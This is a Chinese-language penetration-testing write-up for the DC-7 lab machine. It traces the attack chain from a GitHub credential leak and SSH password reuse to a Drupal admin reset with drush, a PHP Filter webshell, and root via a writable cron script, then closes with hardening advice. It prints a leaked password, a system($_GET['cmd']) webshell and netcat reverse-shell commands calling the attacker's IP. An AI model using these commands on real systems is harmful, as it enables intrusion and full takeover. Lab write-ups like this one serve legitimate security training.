DC7靶机的渗透测试与复盘 DC7靶机的渗透测试与复盘一、环境准备下载DC7靶机导入VM设置为NAT模式Kali也设置为NAT模式。靶机IP192.168.123.128攻击机IP192.168.123.139二、信息收集用nmap扫描靶机开放端口nmap -A -p- 192.168.123.128发现开放了两个端口22SSH和80HTTP80端口是 Apache 2.4.25上面跑的是Drupal 8CMS。访问http://192.168.123.128/浏览页面在页面底部发现了一个用户名DC7USER。三、OSINT开源情报收集关键突破口常规的目录扫描和漏洞利用都没戏根据DC7页面的信息提示说明这时候需要跳出框框思考。DC7USER这个用户名放在这个位置这么突兀一定有什么作用像是GitHub 上的账号去 GitHub 搜索Dc7User找到了一个公开仓库叫staffdb。在仓库里发现了config.php文件里面有数据库连接信息?php$servernamelocalhost;$usernamedc7user;$passwordMdR3xOgB7#dW;$dbnameStaff;$connmysqli_connect($servername,$username,$password,$dbname);?四、SSH登录数据库密码虽然是从 GitHub 泄露的但数据库在 localhost 连不上。想到 nmap 还扫到了 SSH 端口试试密码复用ssh dc7user192.168.123.128输入密码MdR3xOgB7#dW成功登录五、主机信息枚举查看家目录发现两个东西dc7userdc-7:~$ ls backups mbox查看mbox邮件文件发现是root 通过 cron 定时执行/opt/scripts/backups.sh备份脚本的日志。查看备份脚本#!/bin/bashrm/home/dc7user/backups/*cd/var/www/html/ drush sql-dump --result-file/home/dc7user/backups/website.sqlcd..tar-czf/home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback--passphrasePickYourOwnPassword--symmetric/home/dc7user/backups/website.sql gpg --pinentry-mode loopback--passphrasePickYourOwnPassword--symmetric/home/dc7user/backups/website.tar.gzchowndc7user:dc7user /home/dc7user/backups/*rm/home/dc7user/backups/website.sqlrm/home/dc7user/backups/website.tar.gz关键发现脚本属组为www-data组权限有rwx可写root 通过 cron 定时以 root 身份执行此脚本脚本中使用了drushDrupal命令行工具查看文件权限确认dc7userdc-7:~$ ls -la /opt/scripts/ total 12 drwxr-xr-x 2 root www-data 4096 Aug 29 2019 . drwxr-xr-x 3 root root 4096 Aug 29 2019 .. -rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh六、获取Drupal管理员权限为什么要登录Drupal后台因为当前 dc7user 用户不在 www-data 组中无法直接修改/opt/scripts/backups.sh。需要先获得www-data 权限而通过 Drupal Web 应用执行的 PHP 代码就是 www-data 身份。所以要先拿到 Drupal 后台管理员权限。在 mbox 邮件中看到 root 的 cron 任务使用了drush命令说明系统安装了 Drupal 的命令行工具。dc7user 也能执行 drush直接用它修改 admin 密码是最快的方式cd /var/www/html/ drush user-password admin --password123456用新密码登录 Drupal 后台http://192.168.123.128/user/login。七、获得 www-data Shell在后台Manage → Extend → Install new module通过 URL 安装 PHP Filter 模块。PHP Filter 是 Drupal 官方提供的模块用于在文章内容中执行 PHP 代码Drupal 8 默认已移除该功能需要手动安装。从 Drupal 官网的模块仓库https://ftp.drupal.org/files/projects/可以获取到该模块的下载链接https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz安装后启用该模块然后新建内容Basic page在 Text format 选择PHP code写入 webshell?phpsystem($_GET[cmd]);?攻击机监听nc -lvnp 4444访问该页面执行反弹shell命令http://192.168.123.128/node/4?cmdnc 192.168.123.139 4444 -e /bin/bash成功获得www-data权限的 shell八、权限提升提权至root刚才已经知道/opt/scripts/backups.sh的属组是www-data组权限可写root 的 cron 会定时执行它。在 www-data 的 shell 中往脚本追加反弹命令echo nc 192.168.123.139 5555 -e /bin/bash /opt/scripts/backups.sh攻击机开启另一个监听nc -lvnp 5555等待一会cron 任务以 root 身份执行了脚本成功弹回root 权限的 shell┌──(kali㉿kali)-[~] └─$ nc -lvnp 5555 listening on [any] 5555 ... connect to [192.168.123.139] from (UNKNOWN) [192.168.123.128] 53638 whoami root九、渗透复盘完整攻击链信息收集nmap→ 页面发现 DC7USER ↓ GitHub OSINT → 配置文件泄露 SSH 凭据 ↓ SSH 登录dc7user ↓ 发现 mbox → root cron 执行 backups.shwww-data 可写 ↓ drush 修改 Drupal 管理员密码 → 登录后台 ↓ 安装 PHP Filter 模块 → 植入 webshell → 反弹 www-data shell ↓ 修改 backups.sh 添加反弹命令 → 等待 cron 执行 → 获得 root shell核心知识点OSINT开源情报— 页面底部的DC7USER是突破口GitHub 上搜索公开仓库找到了数据库密码密码复用— GitHub 泄露的密码可以直接用于 SSH 登录drush 工具— Drupal 的命令行管理工具可以修改管理员密码cron 提权— root 定时执行的脚本如果被低权限用户可写就能提权www-data 组权限— 脚本属组为 www-data 且可写只要获得 www-data 的 shell 就能修改它经验总结DC7 最大的特点是不能纯靠技术扫描和漏洞利用需要跳出框框思考。常规的 Drupal 漏洞利用在这个版本上都不好使真正的突破口是社工思维——发现页面底部的用户名、去 GitHub 搜索、找到泄露的凭据。整体难度中等但思路很新颖考验的是渗透测试中的信息搜集能力和创造性思维。安全修复建议 禁止敏感信息上传到公开仓库— GitHub 上泄露数据库密码是本靶机的起点。应该在.gitignore中排除config.php等配置文件或使用环境变量管理敏感信息。 密码隔离— 数据库密码、SSH 密码、后台密码不要复用。一旦某个环节泄露攻击者就会尝试密码复用横向移动。 最小权限原则—/opt/scripts/backups.sh属组为www-data且可写这非常危险。脚本应该仅属 root 且权限为 700chmod 700不允许其他用户或组有任何权限。⏰ cron 脚本加固— root 执行的脚本中命令要写绝对路径如/usr/local/bin/drush而非drush避免 PATH 劫持风险。 Drupal 安全配置— 移除 PHP Filter 模块或严格限制使用权限及时更新 Drupal 版本后台地址不要使用默认路径/user/login。 邮件信息保护—mbox文件暴露了系统定时任务路径应限制邮件日志的访问权限或定向到 root 用户独有目录。